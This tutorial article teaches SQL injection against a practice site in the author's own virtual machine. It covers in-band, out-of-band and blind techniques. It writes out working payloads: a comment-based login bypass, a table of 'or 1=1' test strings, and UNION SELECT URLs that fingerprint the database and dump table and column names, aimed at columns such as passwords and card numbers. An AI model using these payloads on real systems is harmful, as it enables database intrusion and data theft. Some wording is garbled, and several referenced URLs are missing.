SQL Injection is a web based attack used by attackers to steal sensitive information from organizations through web applications. It is one of the most common application layer attacks used since a long time. This attack takes advantage of improper coding of web applications, which allow an attacker to exploit the vulnerability by injecting SQL commands into the prior web application. The underlying fact that allows for SQL Injection is that the fields available for user input in the web application allow SQL statements to pass through and interact with or query the database directly.
For example, let us consider a web application that implements a form-based login mechanism to store the user credentials and performs a simple SQL query to validate each login attempt. Here is a typical example:
select * from users where username=’admin’ and password=’admin123′;
If the attacker knows the username of the application administrator is admin, then he can log into the app as admin by entering the username as admin’– and without supplying any password. The query in the back-end looks like:
Select * from users where username=’admin’--’ and password=’xxx’;
Note the comment sequence (–-) causes the followed query to be ignored, so query executed is equivalent to:
Select * from users where username=’admin’;
Hence the password check is bypassed and the attacker is logged into the app as admin.
Different types of SQL Injections:
SQL Injection can be classified into 3 types based on the way it is exploited : In-band, Out-band and Inferior.
This is also called as Error-based or Union based SQL Injection or first order Injection. The application is said to be vulnerable to In-band when the communication between the attacker and the application happens through a single channel. I.e. the attacker uses the same channel to enter the malicious string and to retrieve the data from the database. This is a straight forward technique. The application directly displays the retrieved data on the web pages.
Confirming the Vulnerability:
Below URL is In-band SQLI vulnerable practice site which I setup in my vmbox.
Accessing to the URL displays the home page as shown in the below image.
Now let us try to confirm the vulnerability by simply adding a single quote at the end of the URL:
The above URL shows an error on the web page, saying that Error in your SQL Syntax. This is because of an extra single quote (‘) that we have entered through the URL into the query in the background. So by seeing the error we can understand that the URL is vulnerable to In-band SQLI. Below image shows you the error occurred due to concatenating the special character (‘).
If single quote (‘) is blocked, then we can try using “or 1=1 –” or “and 1=1″ at the end of the URL.
http://192.168.1.2/news-and-events.php?id=22 or 1=1 -- (or)
http://192.168.1.2/news-and-events.php?id=22 and 1=1 --
Above URL shows the same page that has been displayed while accessing the URL:
This is because the condition that we have entered at the end of the URL is always true.
Now try to access by entering the string “or 1=0–“or “and 1=0–”. So the URL looks like:
http://192.168.1.2./news-and-events.php?id=22 or 1=0-- (or)
http://192.168.1.2/news-and-events.php?id=22 and 1=0--
Now we will not be able to access the page, because the condition “1=0” is always false. Below image shows the page when accessed with false condition.
Then we can confirm that URL is vulnerable to SQLI.
The string listed in the below table can be used to confirm SQL Injection
|or 1=1||‘or 1=1||“or 1=1||or 1=1–||‘or 1=1–||“or 1=1–|
|or 1=1#||‘or 1=1#||“or||1=1#|| or 1=1/*||‘or 1=1/*|
|“or 1=1/*||or 1=1;%00||‘or 1=1;%00||“or 1=1;%00||‘or’||‘or|
|‘or’–||‘or–||or a=a||‘or a=a||“or a=a||or a=a–|
|‘or a=a –||“or a=a–||or ‘a’=’a’||‘or ‘a’=’a’||“or ‘a’=’a’||‘)or(‘a’=’a’|
You can try all the combinations for string “or a=a” that we have tried for “or 1=1”….. Like #,–, /* etc…
Moving further, we can extract or dump the complete database by using “UNION” and “SELECT” commands.
We can find out DBMS type (MS-SQL, MYSQL, ORACLE) by using the unique functions of the appropriate database. For example to find out the database user, all the above databases have different syntax.
MYSQL: user ()
ORACLE: select user from dual;
So let’s try to find the DBMS of our SQLI vulnerable site. As a first trial I am entering “user_name()” at the place where we had “2”.
http://192.168.1.2/news-and-events.php?id=-22 union select 1,user_name(),3,4,5,6,7
Above URL gives an error saying “Function user_name doesn’t exist”. Which means the DBMS isn’t MS-SQL.
Above image shows that the DBMS isn’t MS-SQL. Now let’s try with “user ()”
http://192.168.1.2/news-and-events.php?id=-22 union select 1,user(),3,4,5,6,7
Above URL display the user name of the DBMS. So we confirm that the DBMS is MYSQL.
Above image shows the database user name which proves that the DBMS is MYSQL.
So we can use all the MYSQL functions in the place of 2,3,5,7 and dump the database on the web page.
Let us try to find out the number of columns in the table using UNION. The URL looks like:
http://192.168.1.2/news-and-events.php?id=22 union select NULL
Displays an error in the page saying “Select statement having different number of columns” .Now we understood that there are more than one column in the table.
Image shows the error message occurred by accessing the web site using above URL (Using select NULL). So try adding one more NULL.
http://192.168.1.2/news-and-events.php?id=22 union select NULL, NULL
Still if we are receiving the same error, then keep on adding the NULL to the query and try to find out number of columns in the table.
http://192.168.1.2/news-and-events.php?id=22 union select NULL, NULL, NULL, NULL, NULL, NULL, NULL
The above string gives you the same page as the initial URL as the number of columns in the table is seven.
Figure shows the page when accessed with above URL. (Using seven NULL’S).
We can also use “ORDER BY” to find out the number of columns in the table.
http://192.168.1.2/news-and-events.php?id=22 order by 7--
So we can understand that there are seven columns in the table.
Now here is the trick. Where will we be able to see the extracted data from the database?
Just add a negative sign before the id value. Then the data appears on the web page straight away.
http://192.168.1.2/news-and-events.php?id=-22 union select 1,2,3,4,5,6,7
(Note: Negative sign (-) before 22)
Then the application displays some of the numbers on the web page. Above URL displays 2,3,5,7 on the web page.
Figure shows the numbers displayed on the web page.
Finding the version and getting the databases:
http://192.168.1.2/news-and-events.php?id=-22 union select 1,@@version,database(),4,5,6,7
Figure display the database version “5.0” and the database “nilakantatrust”.
Extracting Tables from database:
Now let us try extracting all the tables from the database “nilakantatrust”.
http://192.168.1.2/news-and-events.php?id=-22 union select 1,group_concat(table_name),3,4,5,6,7 from information_schema.tables where table_schema=database()--
Figure shows all the tables dumped from the database “nilakantatrust”.
Information_schema is the table which contains meta-data, nothing but information about all the tables and columns of the database.
Extracting columns from the tables:
http://192.168.1.2/news-and-events.php?id=-22 union select 1,group_concat(column_name),3,4,5,6,7 from information_schema.columns where table_schema=database()--
Figure displays all the columns of the tables in the database “nilakantatrust”. We can look at all the columns and then dump the interesting columns like passwords, SSN, Credit card numbers etc…
This kind of an attack uses two different channels for communication between attacker and the application. Modern DBMS has very powerful applications and their features go behind simply returning the data to the users. They can be instructed to send an e-mail and they can also interact with file system. All of these functionalities are very helpful for an attacker. Attacker establishes direct connection to the database through one channel to insert the data or the malicious string into the database. DBMS responds through new channel, like e-mails, or executing the commands using xp_cmdshell etc….
This is also known as Blind – SQL – Injection. Here the server doesn’t responds with any syntax error or other means of notifications. This is very similar to normal SQL Injection but when attacked server doesn’t send any data to the attacker. Attacker need to retrieve the data by asking true or false questions through SQL commands.
The attacker needs to execute his commands by observing the response of the application. This makes exploiting a SQL Injection attack more difficult but not impossible.
Now let’s have some practice:
http://192.168.1.2/news-and-events.php?id=22 and 1=1 --
The above URL gives the same data as of original site.
http://192.168.1.2/news-and-events.php?id=22 and 1=0 --
Above URL shows an error on the web page, as I explained you previously. (In “in-band” type)
To find out the DBMS used by the application we need to make use of different pre-defined functions available for different databases
For example, To find out the user name of the database following syntax is used by different DBMS
- MS-SQL: user_name()
- Mysql: user()
- Oracle: select user from dual
You can know the difference from the cheat-sheet available at www.pentestmonkey.net
So, let us find out the DBMS using the above functions
Accessing the below URL gives you a white page.
Observe the white page in Figure which is different from the URL:
as we have seen the page previously. By observing this difference we can extract the DBMS type of the application.
Let us check whether the application is using MS-SQL:
In the above URL I am trying to add 1 to the id ‘21’ based on the condition. When we access the URL with ID=21 we get the page as shown in Figure (m) and when we access URL with ID=22 we get the home page as shown in Figure (a).
In the URL %2b indicates ‘+’ and %20 indicates ‘ ‘ (space). It is called URL encoding. When particular symbol is filtered we can pass those symbols by encoding using different encoding techniques available.
And the condition in the query is framed using “case” statement along with “user_name” (A pre-defined function in MS-SQL to return DB user name). If the function user_name() is found then the condition returns ‘1’ which makes the ID=22 else it returns ‘0’ and the Id remains ‘21’
Figure shows page which confirms that the DBMS isn’t MS-SQL. So, now let us check for “MYSQL”
Above URL shows the page with ID=22 which confirms that the DBMS is MYSQL.
Finding the version:
To find the database version we can use ‘substring’ function in MYSQL. Observe the below URL
If the database version is ‘5’ then the substring function returns ‘5’ (as we are trying to extract only one character), where we are comparing the resultant value with ‘5’. Then if we are able to see the home page, we can confirm that the database is something like 5.x.x version.
If the URL doesn’t pops up the home page, then we can try changing the comparing value to 4,3 etc…
To find the exact version of the database we need to compare the second character of the version. For example
So, by observing the responses of the application we can extract complete version of the database.
Finding the User Name of the database:
We can find out the user name of the database by using both ‘case’ statement and ‘substring’ function.
Based on the responses of the application keep on changing the character in the function substr().
Once we get the first letter of the user name then move on to find out the second letter.
In this fashion, to find out a single character in the user name, we have to send more than 200 request will all possible ASCII characters to the server. This technique can be optimized we can extract a single character from the database with in 8 requests.
SQL Injection is a powerful attack technique which can be used to dump complete database of the application.
I have written this article for infosec institute. Take a look at the web application security course offered by infosecinstitute.